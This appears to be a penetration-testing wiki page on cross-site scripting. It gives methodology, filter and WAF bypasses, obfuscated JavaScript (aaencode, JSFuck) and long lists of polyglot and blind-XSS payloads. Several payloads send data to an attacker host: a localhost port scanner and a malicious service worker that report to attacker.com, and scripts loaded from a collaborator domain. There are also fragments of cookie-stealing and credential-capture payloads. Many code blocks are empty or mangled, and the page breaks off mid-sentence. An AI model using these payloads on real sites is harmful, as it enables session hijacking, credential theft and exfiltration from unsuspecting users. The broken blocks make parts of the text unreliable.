# XSS \(Cross Site Scripting\) ## Methodology 1. Check if **any value you control** \(_parameters_, _path_, _headers_?, _cookies_?\) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. 3. If **reflected** 1. Check **which symbols can you use** and depending on that, prepare the payload: 1. In **raw HTML**: 1. Can you create new HTML tags? 2. Can you use events or attributes supporting `javascript:` protocol? 3. Can you create your own HTML tags? 4. Can you bypass protections? 5. Is the HTML content being interpreted by any client side JS engine \(_AngularJS_, _VueJS_, _Mavo_...\), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md). 6. If you cannot create HTML tags that execute JS code,could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md). 2. Inside a **HTML tag**: 1. Can you exit to raw HTML context? 2. Can you create new events/attributes to execute JS code? 3. Does the attribute where you are trapped support JS execution? 4. Can you bypass protections? 3. Inside **JavaScript code**: 1. Can you escape the ``** tags of a HTML page, inside a **`.js`**file or inside an attribute using **`javascript:`** protocol: * If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. * If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code \(if there is any error, it won't be executed: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * If reflected inside template literals \`\` you can **embed JS expressions** using `${ ... }` syntax: ```var greetings =``Hello, ${alert\(1\)}\`\`\` ### DOM There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. {% page-ref page="dom-xss.md" %} ### **Universal XSS** These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more. Some **examples**: {% page-ref page="server-side-xss-dynamic-pdf.md" %} {% page-ref page="../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md" %} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## Injecting inside raw HTML When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**. For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.** _**Note: A HTML comment can be closed using `-->` or `--!>`**_ In this case and if no black/whitelisting is used, you could use payloads like: ```javascript ``` But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create. Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. ### Tags/Events brute-force Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags \(in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before\). ### Custom tags If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: ```text /?search=#x ``` ### Blacklist Bypasses If some kind of blacklist is being used you could try to bypass it with some silly tricks: ```javascript //Random capitalization //Just weird an unexpected, use your imagination <"> ``` Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**. #### Using Hex and Octal encode with `javascript:` You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` \(at least\) to declare **HTML tags to execute JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` #### Using data encoding ```javascript ``` #### <a target="\_blank" rel="opener" If you can inject any URL in an arbitrary **` ``` Note that in this example we **haven't even closed the single quote**, but that's not necessary as the **browser first performs HTML parsing** to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts. ### Inside JS code If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed: ```text '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` In order to construct **strings** apart from single and double quotes JS also accepts **backticks** ``````````````` . This is known as template literals as they allow to **embedded JS expressions** using````````${ ... }`syntax. Therefore, if you find that your **input** is being **reflected inside** a JS string that is using **backticks**, you can abuse the syntax`${ ... }\` to execute **arbitrary JS code**: ```var greetings =``Hello, \`\`\` This can be **abused** using: `${alert(1)}` ### JavaScript bypass blacklists techniques #### Strings ```javascript "thisisastring" 'thisisastrig' `thisisastring` /thisisastring/ == "/thisisastring/" /thisisastring/.source == "thisisastring" String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103) "\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67" "\164\150\151\163\151\163\141\163\164\162\151\156\147" "\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067" "\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}" atob("dGhpc2lzYXN0cmluZw==") ``` #### Space substitutions inside JS code ```javascript /**/ ``` #### [JavaScript without parentheses](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) #### JavaScript comments \(from [JavaScript Comments](./#javascript-comments) trick\) ```javascript //This is a 1 line comment /* This is a multiline comment*/ #!This is a 1 line comment, but "#!" must to be at the beggining of the line -->This is a 1 line comment, but "-->" must to be at the beggining of the line ``` #### JavaScript new lines \(from [JavaScript new line](./#javascript-new-lines) trick\) ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) //0x0a String.fromCharCode(13) //0x0d String.fromCharCode(8232) //0xe2 0x80 0xa8 String.fromCharCode(8233) //0xe2 0x80 0xa8 ``` #### Arbitrary function \(alert\) call ```javascript `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) eval('ale'+'rt(1)') (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ``` ### General tricks **To constructing strings** Regex literals: `/part1/.source+/part2/.source` => `'part1part2'` Numbers to strings: `8680439..toString(30)` => `'alert'` \( Number is generated using parseInt\(“alert”,30\), other bases also work \) **use character escape sequences inside of strings** simple tool for this is available [here](https://mothereff.in/js-escapes): `"\x41" -> "A"`: hex encoding `"\u0065" -> "A"`: unicode encoding \(value is decimal\) `"\101" -> "A"`: octal encoding **VaRy ThE capItaliZatiOn** Sometimes a regex or other custom-made filters do case sensitive matching. You can then just use a toLowerCase\(\), like: `globalThis["aLeRt".toLowerCase()]` **Calling functions** ``alert`1``` : Template literal syntax `alert.apply(this,[1])`: Using Function.prototype.apply `alert.call(this,1)`: Using Function.prototype.call `alert(1)`: Obviously, but included for completeness. `[1].find(alert)`: Using predicates `[1].filter(alert)`: Using predicates **Reuse and recycle** Remember to look into what is already loaded! jQuery is an easy example, but any sufficiently complex framework will likely have something usable. [Wappalyzer](https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?hl=en) or equivalent can help here. `window.jQuery.globalEval("alert(1)")` `$.globalEval("alert(1)")` ## **DOM vulnerabilities** There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. **Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {% page-ref page="dom-xss.md" %} There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**. Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). ## Other Bypasses ### Normalised Unicode You could check is the **reflected values** are being **unicode normalized** in the server \(or in the client side\) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-normalization-vulnerability.md#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields \(onfocus\) can be added inside the tag. Form example \([from this report](https://hackerone.com/reports/709336)\), if you send the payload: ```text contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` The pair "Key","Value" will be echoed back like this: ```text {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Then, the onfocus attribute will be inserted: ![](../../.gitbook/assets/image%20%2882%29.png) A XSS occurs. ### Special combinations ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) ([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ## XSS common payloads ### Retrieve Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies.md#httponly) if you are lucky enough. {% endhint %} ### Port Scanner \(fetch\) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner \(websockets\) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Auto-fill passwords capture ```javascript Username:
Password:
``` When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. ### XSS - Stealing CSRF tokens ```javascript ``` ### XSS - Stealing PostMessage messages ```markup ``` ### XSS - Abusing Service Workers A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. \([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)\). The goal of this attack is to **create service workers** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**. In order to exploit this vulnerability you need to find: * A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file * A **vulnerable JSONP request** where you can **manipulate the output \(with arbitrary JS code\)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**. In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** \(this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response\): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` And this is the code that will **register the worker** \(the code you should be able to execute abusing a **XSS**\). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not: ```javascript ``` In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` There is **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io/) that will be very useful to abuse these vulnerabilities. ### Polyglots ```javascript javascript:"/*'/*`/*--> -->'"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e ">>" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> <svg%0Ao%00nload=%09((pro\u006dpt))()// javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` %0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">` javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//> ``` ### Blind XSS payloads ```markup "><img src='//domain/xss'> "><script src="//domain/xss.js"></script> ><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script> <!-- html5sec - Self-executing focus event via autofocus: --> "><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus> <!-- html5sec - JavaScript execution via iframe and onload --> "><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')"> <!-- html5sec - SVG tags allow code to be executed with onload without any other elements. --> "><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg> <!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags --> "><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')"> <!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. --> "><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')"> <!-- xsshunter.com - Sites that use JQuery --> <script>$.getScript("//domain")</script> <!-- xsshunter.com - When <script> is filtered --> "><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))> <!-- xsshunter.com - Bypassing poorly designed systems with autofocus --> "><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus> <!-- noscript trick --> <noscript><p title="</noscript><img src=x onerror=alert(1)>"> <!-- whitelisted CDNs in CSP --> "><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script> <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... --> <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div> ``` ## XSS Abusing other vulnerabilities ### XSS to SSRF Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Edge Side Include Injection with this payload: ```python <esi:include src="http://yoursite.com/capture" /> ``` Use it to bypass cookie restrictions, XSS filters and much more! More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md). ### XSS in dynamic created PDF If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**. So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**. {% page-ref page="server-side-xss-dynamic-pdf.md" %} If you cannot inject HTML tags it could be worth it to try to **inject PDF data**: {% page-ref page="pdf-injection.md" %} ### XSS uploading files \(svg\) Upload as an image a file like the following one \(from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)\): ```markup Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 Content-Disposition: form-data; name="img"; filename="img.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript"> alert(1); </script> </svg> -----------------------------232181429808-- ``` ```javascript <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript">alert("XSS")</script> </svg> ``` ```python <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("XSS"); </script> </svg> ``` ## Other JavaScript tricks ### JavaScript Comments ```javascript //This is a 1 line comment /* This is a multiline comment*/ #!This is a 1 line comment, but "#!" must to be at the beggining of the line -->This is a 1 line comment, but "-->" must to be at the beggining of the line for (let j = 0; j < 128; j++) { for (let k = 0; k < 128; k++) { for (let l = 0; l < 128; l++) { if (j == 34 || k ==34 || l ==34) continue; if (j == 0x0a || k ==0x0a || l ==0x0a) continue; if (j == 0x0d || k ==0x0d || l ==0x0d) continue; if (j == 0x3c || k ==0x3c || l ==0x3c) continue; if ( (j == 47 && k == 47) ||(k == 47 && l == 47) ) continue; try { var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"'; eval(cmd); } catch(e) { var err = e.toString().split('\n')[0].split(':')[0]; if (err === 'SyntaxError' || err === "ReferenceError") continue err = e.toString().split('\n')[0] } console.log(err,cmd); } } } //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z ``` ### Javascript New Lines ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) //0x0a String.fromCharCode(13) //0x0d String.fromCharCode(8232) //0xe2 0x80 0xa8 String.fromCharCode(8233) //0xe2 0x80 0xa8 for (let j = 0; j < 65536; j++) { try { var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"'; eval(cmd); } catch(e) { var err = e.toString().split('\n')[0].split(':')[0]; if (err === 'SyntaxError' || err === "ReferenceError") continue; err = e.toString().split('\n')[0] } console.log(`[${err}]`,j,cmd); } //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z ``` ### **Surrogate Pairs** This technique won't be very useful for XSS but it could be useful to bypass WAF protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair. ```python def unicode(findHex): for i in range(0,0xFFFFF): H = hex(int(((i - 0x10000) / 0x400) + 0xD800)) h = chr(int(H[-2:],16)) L = hex(int(((i - 0x10000) % 0x400 + 0xDC00))) l = chr(int(L[-2:],16)) if(h == findHex[0]) and (l == findHex[1]): print(H.replace("0x","\\u")+L.replace("0x","\\u")) ``` More info: * [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md) * [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding) ## XSS resources [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) ### XSS TOOLS Find some [**tools for XSS here**](xss-tools.md)**.** ## **Other JavaScript related tricks** * Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) ## Other JS tricks ### Arrow functions Arrow functions allow you to generate functions in a sigle line more easily \(if you understand them\) ```javascript // Traditional function (a){ return a + 1; } // Arrow forms a => a + 100; a => {a + 100}; // Traditional function (a, b){ return a + b + 1; } // Arrow (a, b) => a + b + 100; // Tradictional no args let a = 4; let b = 2; function (){ return a + b + 1; } // Arrow let a = 4; let b = 2; () => a + b + 1; ``` So, most of the previous functions are actually useless because we aren't saving them anywhere to save and call them. Example creating the `plusone` function: ```javascript // Traductional function plusone (a){ return a + 1; } //Arrow plusone = a => a + 100; ``` ### Bind function The bind function allow to create a **copy** of a **function modifying** the **`this`** object and the **parameters** given. ```javascript //This will use the this object and print "Hello World" var fn = function ( param1, param2 ) { console.info( this, param1, param2 ); } fn('Hello', 'World') //This will still use the this object and print "Hello World" var copyFn = fn.bind(); copyFn('Hello', 'World') //This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello" var bindFn_change = fn.bind(console, "fixingparam1"); bindFn_change('Hello', 'World') //This will still use the this object and print "fixingparam1 Hello" var bindFn_thisnull = fn.bind(null, "fixingparam1"); bindFn_change('Hello', 'World') //This will still use the this object and print "fixingparam1 Hello" var bindFn_this = fn.bind(this, "fixingparam1"); bindFn_change('Hello', 'World') ``` {% hint style="info" %} Note that using **`bind`** you can manipulate the **`this`** object that is going to be used when calling the function. {% endhint %} ### Function code leak If you can **access the object** of a function you can **get the code** of that function 